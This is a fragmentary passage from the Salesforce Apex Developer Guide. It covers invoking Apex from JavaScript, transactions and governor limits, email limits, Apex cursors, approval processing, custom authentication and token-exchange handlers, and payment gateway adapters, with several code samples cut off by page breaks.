);
318
Apex Developer Guide Invoking Apex
Element Description
parameters A comma-separated list of parameters that your method takes.
callbackFunction The name of the JavaScript function that handles the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
configuration Configures the handling of the remote call and response. Use this element to change the behavior
of a remoting call, such as whether or not to escape the Apex method’s response.
For more information, see JavaScript Remoting for Apex Controllers in the Visualforce Developer's Guide.
Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webservice methods.
To invoke Apex through anonymous blocks or public webservice methods, include the following lines in your AJAX code:
<script src="/soap/ajax/63.0/connection.js" type="text/javascript"></script>
<script src="/soap/ajax/63.0/apex.js" type="text/javascript"></script>
Note: For AJAX buttons, use the alternate forms of these includes.
The execute method takes primitive data types, sObjects, and lists of primitives or sObjects.
To call a webservice method with no parameters, use {} as the third parameter for sforce.apex.execute. For example, to
call the following Apex class:
global class myClass{
webservice static String getContextUserName() {
return UserInfo.getFirstName();
}
}
319
Apex Developer Guide Apex Transactions and Governor Limits
Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke
the class. For example, to call the myClass class, the JavaScript code from above would be rewritten as follows:
var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName",
{});
To verify whether your organization has a namespace, log in to your Salesforce organization and from Setup, enter Packages
in the Quick Find box, then select Packages. If a namespace is defined, it’s listed under Developer Settings.
For more information on the return datatypes, see Data Types in AJAX Toolkit
Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction must complete
successfully. If an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The
boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service
method.
Execution Governors and Limits
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits so that runaway Apex code or
processes don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime exception
that can’t be handled.
Set Up Governor Limit Email Warnings
You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of
allocated governor limits. Only per-request limits are checked for sending email warnings; per-org limits like concurrent long-running
requests are not checked. These email notifications do not count against the daily single email limit.
Running Apex within Governor Execution Limits
When you develop software in a multitenant cloud environment such as the Lightning platform, you don’t have to scale your code,
because the Lightning platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine
enforces some limits to ensure that no one transaction monopolizes shared resources.
320
Apex Developer Guide Apex Transactions and Governor Limits
Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction must complete
successfully. If an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The
boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service
method.
Note: Payments transactions are the exception to DML operation errors. Even if an error occurs, data is committed and payment
records are generated because the transaction has already happened at the payment gateway.
All operations that occur inside the transaction boundary represent a single unit of operations, including calls to external code, such as
classes or triggers that run in the transaction boundary. For example: a custom Apex Web service method causes a trigger to fire, which
in turn calls a method in a class. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.
An Apex transaction is sometimes referred to as an execution context. This guide uses the term Apex transaction.
Example
This example shows how all DML insert operations in a method are rolled back when the last operation causes a validation rule
failure. In this example, the invoice method is the transaction boundary—all code that runs within this method either commits all
changes to the platform database or rolls back all changes. In this case, we add an invoice statement with a line item for the pencils
merchandise. The Line Item is for a purchase of 5,000 pencils specified in the Units_Sold__c field, which is more than the entire pencils
inventory of 1,000. This example assumes a validation rule has been set up to check that the total inventory of the merchandise item is
enough to cover new purchases.
Since this example attempts to purchase more pencils (5,000) than items in stock (1,000), the validation rule fails and throws an exception.
Code execution halts at this point and all DML operations processed before this exception are rolled back. The invoice statement and
the line item aren’t added to the database, and their insert DML operations are rolled back.
In the Developer Console, execute the static invoice method.
// Only 1,000 pencils are in stock.
// Purchasing 5,000 pencils cause the validation rule to fail,
// which results in an exception in the invoice method.
Id invoice = MerchandiseOperations.invoice('Pencils', 5000, 'test 1');
This definition is the invoice method. The update of total inventory causes an exception due to the validation rule failure. As a result,
the invoice statements and line items are rolled back and aren’t inserted into the database.
public class MerchandiseOperations {
public static Id invoice( String pName, Integer pSold, String pDesc) {
// Retrieve the pencils sample merchandise
Merchandise__c m = [SELECT Price__c,Total_Inventory__c
FROM Merchandise__c WHERE Name = :pName LIMIT 1];
// break if no merchandise is found
321
Apex Developer Guide Apex Transactions and Governor Limits
System.assertNotEquals(null, m);
// Add a new invoice
Invoice_Statement__c i = new Invoice_Statement__c(
Description__c = pDesc);
insert i;
Note:
• Although scheduled Apex is an asynchronous feature, synchronous limits apply to scheduled Apex jobs.
322
Apex Developer Guide Apex Transactions and Governor Limits
• For Bulk API and Bulk API 2.0 transactions, the effective limit is the higher of the synchronous and asynchronous limits. For
example, the maximum number of Bulk Apex jobs added to the queue with System.enqueueJob is the synchronous
limit (50), which is higher than the asynchronous limit (1).
Total number of records processed as a result of DML statements, Approval.process, 10,000 10,000
or database.emptyRecycleBin
Total stack depth for any Apex invocation that recursively fires triggers due to insert, 16 16
3
update, or delete statements
Total number of callouts (HTTP requests or web services calls) in a transaction 100 100
Maximum cumulative timeout for all callouts (HTTP requests or Web services calls) in a 120 seconds 120 seconds
transaction
Maximum number of methods with the future annotation allowed per Apex invocation 50 0 in batch and
future contexts; 50
in queueable
context
Maximum number of push notification method calls allowed per Apex transaction 10 10
Maximum number of push notifications that can be sent in each push notification method 2,000 2,000
call
Maximum number of EventBus.publish calls for platform events configured to 150 150
publish immediately
323
Apex Developer Guide Apex Transactions and Governor Limits
1
In a SOQL query with parent-child relationship subqueries, each parent-child relationship counts as an extra query. These types of
queries have a limit of three times the number for top-level queries. The limit for subqueries corresponds to the value that
Limits.getLimitAggregateQueries() returns. The row counts from these relationship queries contribute to the row
counts of the overall code execution. This limit doesn’t apply to custom metadata types. In a single Apex transaction, custom metadata
records can have unlimited SOQL queries. In addition to static SOQL statements, calls to the following methods count against the number
of SOQL statements issued in a request.
• Database.countQuery, Database.countQueryWithBinds
• Database.getQueryLocator, Database.getQueryLocatorWithBinds
• Database.query, Database.queryWithBinds
2
Calls to the following methods count against the number of DML statements issued in a request.
• Approval.process
• Database.convertLead
• Database.emptyRecycleBin
• Database.rollback
• Database.setSavePoint
• delete and Database.delete
• insert and Database.insert
• merge and Database.merge
• undelete and Database.undelete
• update and Database.update
• upsert and Database.upsert
• EventBus.publish for platform events configured to publish after commit
• System.runAs
3
Recursive Apex that doesn’t fire any triggers with insert, update, or delete statements, exists in a single invocation, with a
single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation. The new invocation is separate
from the invocation of the code that caused it to fire. Spawning a new invocation of Apex is a more expensive operation than a recursive
call in a single invocation. Therefore, there are tighter restrictions on the stack depth of these types of recursive calls.
4
Email services heap size is 50 MB.
5
CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction. CPU time is calculated
for the executing Apex code, and for any processes that are called from this code, such as package code and workflows. CPU time is
private for a transaction and is isolated from other transactions. Operations that don't consume application server CPU time aren't counted
toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and SOSL isn't counted, nor is waiting
time for Apex callouts. Application server CPU time spent in DML operations is counted towards the Apex CPU limit, but isn’t expected
to be significant. Bulk API and Bulk API 2.0 consume a unique governor limit for CPU time on Salesforce Servers, with a maximum value
of 60,000 milliseconds.
Note:
• Limits apply individually to each testMethod.
324
Apex Developer Guide Apex Transactions and Governor Limits
• To determine the code execution limits for your code while it’s running, use the Limits methods. For example, you can use
the getDMLStatements method to determine the number of DML statements that have already been called by your
program. Or, you can use the getLimitDMLStatements method to determine the total number of DML statements
available to your code.
Note:
• These cross-namespace limits apply only to namespaces in certified managed packages.
• Namespaces in non-certified packages don’t have their own separate governor limits. The resources that they use continue
to count against the same governor limits used by the org's custom code.
Description Cumulative
Cross-Namespace Limit
Total number of SOQL queries issued 1,100
Total number of callouts (HTTP requests or web services calls) in a transaction 1,100
All per-transaction limits count separately for certified managed packages except for:
• The total heap size
• The maximum CPU time
• The maximum transaction execution time
325
Apex Developer Guide Apex Transactions and Governor Limits
Description Limit
The maximum number of asynchronous Apex method executions (batch Apex, future methods, 250,000 or the number of user
Queueable Apex, and scheduled Apex) per a 24-hour period1,6,7 licenses in your org multiplied
by 200, whichever is greater
Number of synchronous concurrent transactions for long-running transactions that last longer than Based on the number of
5 seconds for each org.2 applicable licenses8 in an org,
the limit is calculated as a ratio
of 100 licenses to one
concurrent long-running Apex
transaction9.
• Minimum limit is 10
• Maximum limit is 50
Maximum number of Apex classes scheduled concurrently 100. In Developer Edition orgs,
the limit is 5.
Maximum number of batch Apex jobs in the Apex flex queue that are in Holding status 100
Maximum number of test classes that can be queued per 24-hour period (production orgs other The greater of 500 or 10
than Developer Edition)5,6 multiplied by the number of test
classes in the org
Maximum number of test classes that can be queued per 24-hour period (sandbox and Developer The greater of 500 or 20
Edition orgs)5,6 multiplied by the number of test
classes in the org
1
For Batch Apex, method executions include executions of the start, execute, and finish methods. This limit is for your entire
org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. The license types
that count toward this limit include full Salesforce and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only
users, Identity users, and Company Communities users.
326
Apex Developer Guide Apex Transactions and Governor Limits
2
If more transactions are started while the default number of long-running transactions are still running, they’re denied. HTTP callout
processing time isn’t included when calculating this limit.
3
When batch jobs are submitted, they’re held in the flex queue before the system queues them for processing.
4
Batch jobs that haven’t started yet remain in the queue until they’re started. If more than one job is running, this limit doesn’t cause
any batch job to fail.execute methods of batch Apex jobs still run in parallel.
5
This limit applies to tests running asynchronously. This group of tests includes tests started through the Salesforce user interface
including the Developer Console or by inserting ApexTestQueueItem objects using SOAP API.
6
To check how many asynchronous Apex executions are available, make a request to REST API limits resource or use Apex methods
OrgLimits.getAll() or OrgLimits.getMap(). See List Organization Limits in the REST API Developer Guide and OrgLimits
Class in the Apex Reference Guide.
7
If the number of asynchronous Apex executions needed by a job exceeds the available number that’s calculated using the 24-hour
rolling limit, an exception is thrown. Batch Apex preemptively checks the required asynchronous job capacity when
Database.executeBatch is called and the start method has returned the workload. The batch won’t start unless there is
sufficient capacity for the entire job available. For example, if the batch requires 10,000 executions and the remaining asynchronous
limit is 9,500 executions, an AsyncApexExecutions Limit exceeded exception is thrown, and the remaining executions
are left unchanged.
8
The license types that count toward this limit include full Salesforce and Salesforce Platform user licenses, App Subscription user licenses,
Chatter Only users, Identity users, and Company Communities users.
9
For example, if your org has 4,000 licenses, the concurrent long-running Apex requests limit is set at 40. If your org has 5,000 or more
licenses, the concurrent long-running Apex requests limit is set at 50, which is the maximum capped limit. If your org has 1,000 or fewer
licenses, the concurrent long-running Apex requests limit is set at 10, which is the minimum floor limit.
Description Limit
Default timeout of callouts (HTTP requests or Web services calls) in a transaction 10 seconds
Maximum size of callout request or response (HTTP request or Web services call)1 6 MB for synchronous Apex or
12 MB for asynchronous Apex
Maximum SOQL query run time before Salesforce cancels the transaction 120 seconds
Maximum number of class and trigger code units in a deployment of Apex 7500
Maximum number of records returned for a Batch Apex query in Database.QueryLocator 50 million
1
The HTTP request and response sizes count towards the total heap size.
2
The Apex trigger batch size for platform events and Change Data Capture events is 2,000. The trigger batch size doesn’t apply when
using Mass Transfer Records.
327
Apex Developer Guide Apex Transactions and Governor Limits
Description Limit
Maximum number of characters for a class 1 million
1
This limit doesn’t apply to Apex code in first generation(1GP) or second generation(2GP) managed packages. The code in those types
of packages belongs to a namespace unique from the code in your org. This limit also doesn’t apply to any code included in a class
defined with the @isTest annotation.
2
Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.
3
The default 6 MB limit can be increased by opening a support case for your org. Before you apply for a limit increase, ensure that you’re
following best practices outlined in Increase Apex Code Character Limit.
4
For scratch orgs, the limit is 10MB. The limit can be increased by opening a support case for your org. Before you apply for a limit
increase, ensure that you’re following the best practices.
328
Apex Developer Guide Apex Transactions and Governor Limits
Email Limits
Inbound Email Limits
Email Services: Maximum Number of Email Messages Processed Number of user licenses multiplied by
(Includes limit for On-Demand Email-to-Case) 1,000; maximum 1,000,000
Email Services: Maximum Size of Email Message (Body and Attachments) 25 MB1
On-Demand Email-to-Case: Maximum Number of Email Messages Processed Number of user licenses multiplied by
(Counts toward limit for Email Services) 1,000; maximum 1,000,000
1
The maximum size of email messages for Email Services varies depending on character set and transfer encoding of the body parts.
The size of an email message includes the email headers, body, attachments, and encoding. As a result, an email with a 35-MB
attachment likely exceeds the 25-MB size limit for an email message after accounting for the headers, body, and encoding.
When defining email services, note the following:
• An email service only processes messages it receives at one of its addresses.
• Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can
process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on
how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number
of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email
messages a day.
• Email service addresses that you create in your sandbox can’t be copied to your production org.
• For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
• Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments)
exceeds approximately 25 MB (varies depending on language and character set).
Outbound Email: Limits for Single and Mass Email Sent Using Apex
Each licensed org can send single emails to a maximum of 5,000 external email addresses per day based on Greenwich Mean Time
(GMT). For orgs created before Spring ’19, the daily limit is enforced only for emails sent via Apex and Salesforce APIs except for REST
API. For orgs created in Spring ’19 and later, the daily limit is also enforced for email alerts, simple email actions, Send Email actions
in flows, and REST API. If one of the newly counted emails can’t be sent because your org has reached the limit, we notify you by
email and add an entry to the debug logs. Single emails sent using the email author or composer in Salesforce don't count toward
this limit. There’s no limit on sending single emails to contacts, leads, person accounts, and users in your org directly from account,
contact, lead, opportunity, case, campaign, or custom object pages. In Developer Edition orgs and orgs evaluating Salesforce during
a trial period, you can send to a maximum of 50 recipients per day, and each single email can have up to 15 recipients..
Keep these considerations in mind when sending emails:
• When sending single emails, you can specify up to 150 recipients across the To, CC, and BCC fields in each
SingleEmailMessage. Each field is also limited to 4,000 bytes.
329
Apex Developer Guide Apex Transactions and Governor Limits
• If you use SingleEmailMessage to email your org’s internal users, specifying the user’s ID in setTargetObjectId
means the email doesn’t count toward the daily limit. However, specifying internal users’ email addresses in setToAddresses
means the email does count toward the limit.
• You can send mass email and list email to a maximum of 5,000 external email addresses per day per licensed Salesforce org. A
day is calculated based on Greenwich Mean Time (GMT).
• The single email, mass email, and list email limits count duplicate email addresses. For example, if you have
[email protected] in your email 10 times that counts as 10 against the limit.
• API or Apex single emails can be sent to a maximum of 5,000 external email addresses per day.
• You can send an unlimited amount of email through the UI to your org’s internal users, which include portal users.
• You can send mass emails and list emails only to contacts, person accounts, leads, and your org’s internal users.
• In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send to no more than 10 external email
recipients per org per day using mass email and list email.
• You can’t send mass email using a Visualforce email template.
SEE ALSO:
Asynchronous Callout Limits
Platform Events Developer Guide
Note: Only users with Author Apex permission can receive email notifications.
Note: Only users with Author Apex permission can view and update this option.
5. Click Save.
330
Apex Developer Guide Apex Transactions and Governor Limits
Note: These limits are currently checked for sending email warnings.
Total number of SOQL queries issued
Total number of records retrieved by SOQL queries
Total number of SOSL queries issued
Total number of DML statements issued
Total number of records processed as a result of DML statements, Approval.process, or database.emptyRecycleBin
Total heap size
Total number of callouts (HTTP requests or Web services calls) in a transaction
Total number of sendEmail methods allowed
Maximum number of methods with the future annotation allowed per Apex invocation
Maximum number of Apex jobs added to the queue with System.enqueueJob
Total number of records retrieved by Database.getQueryLocator
Total number of mobile Apex push calls
331
Apex Developer Guide Apex Transactions and Governor Limits
update li;
}
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
updatedList.add(li);
}
}
332
Apex Developer Guide Using Salesforce Features with Apex
Actions
Create quick actions, and add them to your Salesforce Classic home page, to the Chatter tab, to Chatter groups, and to record detail
pages. Choose from standard quick actions, such as create and update actions, or create custom actions based on your company’s
needs.
Apex Cursors (Beta)
Use Apex cursors to break up the processing of a SOQL query result into pieces that can be processed within the bounds of a single
transaction. Cursors provide you with the ability to work with large query result sets, while not actually returning the entire result
set. You can traverse a query result in parts, with the flexibility to navigate forward and back in the result set. Package developers
and advanced developers can use cursors effectively to work with high-volume and high-resource processing jobs. Cursors combined
with chained queueable Apex jobs are a powerful alternative to batch Apex and address some of batch Apex’s limitations.
333
Apex Developer Guide Using Salesforce Features with Apex
Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
from whom to request approval and what to do at each point of the process.
Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org
and your users’ use patterns.
Chatter Answers and Ideas
In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique
ideas and answers topics to match that focus.
Use Cases for the CommercePayments Namespace
Review walkthroughs, use cases, and reference material for the CommercePayments platform.
Connect in Apex
Use Connect in Apex to develop custom experiences in Salesforce. Connect in Apex provides programmatic access to B2B Commerce,
CMS managed content, Experience Cloud sites, topics, and more. Create Apex pages that display Chatter feeds, post feed items with
mentions and topics, and update user and group photos. Create triggers that update Chatter feeds.
Moderate Chatter Private Messages with Triggers
Write a trigger for ChatterMessage to automate the moderation of private messages in an org or Experience Cloud site. Use triggers
to ensure that messages conform to your company’s messaging policies and don’t contain blocklisted words.
Data Cloud In Apex
You can use Apex with Data Cloud objects, with constraints and considerations that are detailed in this topic . Further, you can mock
SOQL query responses for Data Cloud data model objects (DMOs) in Apex testing by using SOQL stub methods and a test class.
DataWeave in Apex
DataWeave in Apex uses the Mulesoft DataWeave library to read and parse data from one format, transform it, and export it in a
different format. You can create DataWeave scripts as metadata and invoke them directly from Apex. Like Apex, DataWeave scripts
are run within Salesforce application servers, enforcing the same heap and CPU limits on the executing code.
Moderate Feed Items with Triggers
Write a trigger for FeedItem to automate the moderation of posts in an org or Experience Cloud site. Use triggers to ensure that
posts conform to your company’s communication policies and don’t contain unwanted words or phrases.
Experience Cloud Sites
Experience Cloud sites are branded spaces for your employees, customers, and partners to connect. You can customize and create
sites to meet your business needs, then transition seamlessly between them.
Email
You can use Apex to work with inbound and outbound email.
External Services
External Services connect your Salesforce org to a service outside of Salesforce, such as an employee banking service. After you
register the external service, you can call it natively in your Apex code. Objects and operations defined in the external service's
registered API specification become Apex classes and methods in the ExternalService namespace. The registered service's
schema types map to Apex types, and are strongly typed, making the Apex compiler do the heavy lifting for you. For example, you
can make a type safe callout to an external service from Apex without needing to use the Http class or perform transforms on
JSON strings.
Flows
Flow Builder lets admins build applications, known as flows, that automate a business process by collecting data and doing something
in your Salesforce org or an external system.
334
Apex Developer Guide Using Salesforce Features with Apex
Actions
Create quick actions, and add them to your Salesforce Classic home page, to the Chatter tab, to Chatter groups, and to record detail
pages. Choose from standard quick actions, such as create and update actions, or create custom actions based on your company’s needs.
• Create actions let users create records—like New Contact, New Opportunity, and New Lead.
• Custom actions invoke Lightning components, flows, Visualforce pages, or canvas apps with functionality that you define.Use a
Visualforce page, Lightning component, or a canvas app to create global custom actions for tasks that don’t require users to use
335
Apex Developer Guide Using Salesforce Features with Apex
records that have a relationship to a specific object. Object-specific custom actions invoke Lightning components, flows, Visualforce
pages, or canvas apps that let users interact with or create records that have a relationship to an object record.
For create, Log a Call, and custom actions, you can create either object-specific actions or global actions. Update actions must be
object-specific.
For more information on actions, see the online help.
SEE ALSO:
Apex Reference Guide: QuickAction Class
Apex Reference Guide: QuickActionRequest Class
Apex Reference Guide: QuickActionResult Class
Apex Reference Guide: DescribeQuickActionResult Class
Apex Reference Guide: DescribeQuickActionDefaultValue Class
Apex Reference Guide: DescribeLayoutSection Class
Apex Reference Guide: DescribeLayoutRow Class
Apex Reference Guide: DescribeLayoutItem Class
Apex Reference Guide: DescribeLayoutComponent Class
Apex Reference Guide: DescribeAvailableQuickActionResult Class
Note: This feature is a Beta Service. Customer may opt to try such Beta Service in its sole discretion. Any use of the Beta Service
is subject to the applicable Beta Services Terms provided at Agreements and Terms. You can provide feedback and suggestions
for the feature in the Trailblazer Community.
Apex cursors are stateless and generate results from the offset position that is specified in the Cursor.fetch(integer
position, integer count) method. You must track the offsets or positions of the results within your particular processing
scenario.
A cursor is created when a SOQL query is executed on a Database.getCursor() or Database.getCursorWithBinds()
call. When a Cursor.fetch(integer position, integer count) method is invoked with an offset position and the
count of records to fetch, the corresponding rows are returned from the cursor. The maximum number of rows per cursor is 50 million,
regardless of the operation being synchronous or asynchronous. To get the number of cursor rows returned from the SOQL query, use
Cursor.getNumRecords().
Apex cursors throw these new System exceptions: System.FatalCursorException and
System.TransientCursorException. Transactions that fail with System.TransientCursorException can be
retried.
Apex cursors have the same expiration limits as API Query cursors. See API Query Cursor Limits.
To get Apex cursor limits, use these new methods in the Limits class.
• Limits.getApexCursorRows() and its upper bound Limits.getLimitApexCursorRows() method
336
Apex Developer Guide Using Salesforce Features with Apex
public QueryChunkingQueuable() {
locator = Database.getCursor
('SELECT Id FROM Contact WHERE LastActivityDate = LAST_N_DAYS:400');
position = 0;
}
Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
from whom to request approval and what to do at each point of the process.
• Use the Apex process classes to create approval requests and process the results of those requests:
– ProcessRequest Class
– ProcessResult Class
– ProcessSubmitRequest Class
– ProcessWorkItemRequest Class
• Use the Approval.process method to submit an approval request and approve or reject existing approval requests. For more
information, see Approval Class.
Note: The process method counts against the DML limits for your organization. See Execution Governors and Limits.
For more information about approval processes, see “Set Up an Approval Process” in the Salesforce online help.
337
Apex Developer Guide Using Salesforce Features with Apex
System.assertEquals(
'Pending', result.getInstanceStatus(),
'Instance Status'+result.getInstanceStatus());
// Use the ID from the newly created item to specify the item to be worked
req2.setWorkitemId(newWorkItemIds.get(0));
338
Apex Developer Guide Using Salesforce Features with Apex
System.assertEquals(
'Approved', result2.getInstanceStatus(),
'Instance Status'+result2.getInstanceStatus());
}
}
Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org and
your users’ use patterns.
Sample Classes
This example extends the abstract class Auth.AuthProviderPluginClass to configure an external authentication provider
called Concur. Build the sample classes and sample test classes in the following order.
1. Concur
2. ConcurTestStaticVar
3. MockHttpResponseGenerator
4. ConcurTestClass
global class Concur extends Auth.AuthProviderPluginClass {
public String redirectUrl; // use this URL for the endpoint that the
authentication provider calls back to for configuration
private String key;
private String secret;
339
Apex Developer Guide Using Salesforce Features with Apex
340
Apex Developer Guide Using Salesforce Features with Apex
341
Apex Developer Guide Using Salesforce Features with Apex
}
return ret;
}
// in the real world scenario , the key and value would be read from the (custom fields
in) custom metadata type record
private static Map<String,String> setupAuthProviderConfig () {
Map<String,String> authProviderConfiguration = new Map<String,String>();
authProviderConfiguration.put('Key__c', KEY);
authProviderConfiguration.put('Auth_Url__c', AUTH_URL);
authProviderConfiguration.put('Secret__c', SECRET);
authProviderConfiguration.put('Access_Token_Url__c', ACCESS_TOKEN_URL);
authProviderConfiguration.put('API_User_Url__c',API_USER_URL);
authProviderConfiguration.put('API_User_Version_Url__c',API_USER_VERSION_URL);
authProviderConfiguration.put('Redirect_Url__c',REDIRECT_URL);
return authProviderConfiguration;
342
Apex Developer Guide Using Salesforce Features with Apex
authProviderConfiguration.get('Redirect_Url__c') + '&state=' +
STATE_TO_PROPOGATE);
PageReference actualUrl = concurCls.initiate(authProviderConfiguration,
STATE_TO_PROPOGATE);
System.assertEquals(expectedUrl.getUrl(), actualUrl.getUrl());
}
System.assertEquals(expectedAuthProvResponse.provider,
actualAuthProvResponse.provider);
System.assertEquals(expectedAuthProvResponse.oauthToken,
actualAuthProvResponse.oauthToken);
System.assertEquals(expectedAuthProvResponse.oauthSecretOrRefreshToken,
actualAuthProvResponse.oauthSecretOrRefreshToken);
System.assertEquals(expectedAuthProvResponse.state, actualAuthProvResponse.state);
343
Apex Developer Guide Using Salesforce Features with Apex
System.assertNotEquals(expectedUserData,null);
System.assertEquals(expectedUserData.firstName, actualUserData.firstName);
System.assertEquals(expectedUserData.lastName, actualUserData.lastName);
System.assertEquals(expectedUserData.fullName, actualUserData.fullName);
System.assertEquals(expectedUserData.email, actualUserData.email);
System.assertEquals(expectedUserData.username, actualUserData.username);
System.assertEquals(expectedUserData.locale, actualUserData.locale);
System.assertEquals(expectedUserData.provider, actualUserData.provider);
System.assertEquals(expectedUserData.siteLoginUrl, actualUserData.siteLoginUrl);
344
Apex Developer Guide Using Salesforce Features with Apex
}
}
SEE ALSO:
Apex Reference Guide: AuthProviderPlugin Interface
Salesforce Help: Create a Custom External Authentication Provider
345
Apex Developer Guide Using Salesforce Features with Apex
The way you build your validation and subject mapping processes depends on your use case, identity provider, and token type. Use
these examples to get started.
Important: These example implementations and code snippets are for demonstration only. Use them as a starting point, but
make sure you evaluate, customize, and test them carefully.
346
Apex Developer Guide Using Salesforce Features with Apex
//This example assumes that the incoming token is a JWT and that there is a public
keys endpoint on the identity provider
//Be very careful with any logic in this method, and test carefully before using
if(isValid){
return new Auth.TokenValidationResult(true, (object)customData, userData,
incomingToken, tokenType, 'CustomErrorMessage');
} else {
return new Auth.TokenValidationResult(isValid);
}
}
347
Apex Developer Guide Using Salesforce Features with Apex
//If you don’t have any data from the token, you can perform a callout using the
incoming token
String userToken = result.token;
// If you didn’t find a user, check to see if you can create one
if (canCreateUser && (u == null)) {
u = new User();
u.firstName = userData.firstName;
u.lastName = userData.lastName;
//Finish setting user attributes. For external users, make sure you set up the
contact/account/person account
//If you assign permission sets, do it in a future method to avoid mixed DML
//Returning the user from this method handles the insertion, so it’s not
necessary to manually insert
}
return u;
}
//This class gives you a way to pass structured data between the validateIncomingToken
and getUserForTokenSubject methods
//This example is for demonstration only. Implement this class in a way that matches
the data that you are passing
private class CustomStructuredUserData {
public String customAttribute1;
public Integer customAttribute2;
public Map<String,Object> customAttribute3;
}
}
348
Apex Developer Guide Using Salesforce Features with Apex
• For opaque tokens, such as opaque access and refresh tokens, call out to the identity provider’s introspection or user info endpoints.
• For SAML assertions, write code to parse the XML from the assertion.
In this example, the handler validates a JWT from the identity provider. The handler determines the token type and uses the
validateJWTWithKey method in the Auth.JWTUtil class to validate the JWT with a public key.
For opaque access tokens, which can’t be introspected locally on your app, call out to the introspection or user info endpoints on the
external identity provider. In this example for validating an opaque token, the handler sends a POST request to the identity provider’s
introspection endpoint and parses the identity provider’s JSON response so that Salesforce can understand it. It then validates the
response using the validateIncomingToken method.
global override Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,
Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
tokenType) {
if (tokenType == Auth.OAuth2TokenExchangeType.ACCESS_TOKEN) {
// Validate the token with a callout to the introspection endpoint
String body =
'client_id=3MVG9AOp4kbriZ...&client_secret=71E147927AC...&token=00Dxx0000006H5T!AQEA...';
Boolean active;
String username;
Auth.UserData userData;
if(res.getStatusCode() == 200) {
System.JSONParser parser = System.JSON.createParser(res.getBody());
try {
while((active == null || username == null) && parser.nextToken() !=
null) {
if (parser.getCurrentToken() == JSONToken.FIELD_NAME) {
String fieldName = parser.getText();
349
Apex Developer Guide Using Salesforce Features with Apex
if (fieldName == 'active') {
parser.nextToken();
active = parser.getBooleanValue();
if (!active) {
return new Auth.TokenValidationResult(false);
}
}
if (fieldName == 'username') {
parser.nextToken();
username = parser.getText();
}
}
}
} catch(JSONException e) {
return new Auth.TokenValidationResult(false); // Returns a general
'Token handler validation failed' message that you can customize
}
} else {
return new Auth.TokenValidationResult(false); // Returns a general 'Token
handler validation failed' message that you can customize
}
350
Apex Developer Guide Using Salesforce Features with Apex
if (!existingUser.isEmpty()) {
return existingUser[0];
}
return u;
351
Apex Developer Guide Using Salesforce Features with Apex
}
}
SEE ALSO:
Salesforce Help: OAuth 2.0 Token Exchange Flow
Apex Reference Guide: Oauth2TokenExchangeHandler Class
Apex Reference Guide: TokenValidationResult Class
Apex Reference Guide: OAuth2TokenExchangeType Enum
Apex Reference Guide: IntegratingAppType Enum
Apex Reference Guide: JWTUtil Class
SEE ALSO:
Apex Reference Guide: Answers Class
Apex Reference Guide: Ideas Class
Apex Reference Guide: Zones Class
352
Apex Developer Guide Using Salesforce Features with Apex
Process Refund
Process a refund in the payment gateway.
Idempotency Guidelines
Idempotency represents the ability of a payment gateway to recognize duplicate requests submitted either in error or maliciously,
and then process the duplicate requests accordingly. When working with an idempotent gateway, consider these important
guidelines.
Sample Payment Gateway Implementation for CommercePayments
We’ve created a GitHub repository containing code samples for a sample Payeezy payment gateway implementation with the
CommercePayments namespace. Review the sample code if you need help with configuring your payment gateway implementation.
Note: Payment gateway adapters can’t make future calls, external callouts using System.Http, asynchronous calls, queueable
calls, or execute DMLs using SOQL.
353
Apex Developer Guide Using Salesforce Features with Apex
PaymentGatewayAdapter
All synchronous gateways must implement the PaymentGatewayAdapter interface. All PaymentGatewayAdapters are required
to implement the processRequest method.
global with sharing class SampleAdapter implements commercepayments.PaymentGatewayAdapter
{
global SampleAdapter() {}
global commercepayments.GatewayResponse
processRequest(commercepayments.paymentGatewayContext gatewayContext) {
}
}
Note: We don't recommend encoding the request body, which contains the merge fields, including the card number and CVV.
This can cause the request to fail to read the encoded request body and to fail to replace the merge field values.
Then, the adapter sends the request to the payment gateway.
req.setBody(body);
req.setMethod('POST');
commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
HttpResponse res = null;
try {
res = http.send(req);
} catch(CalloutException ce) {
commercepayments.GatewayErrorResponse error = new
commercepayments.GatewayErrorResponse('500', ce.getMessage());
return error;
}
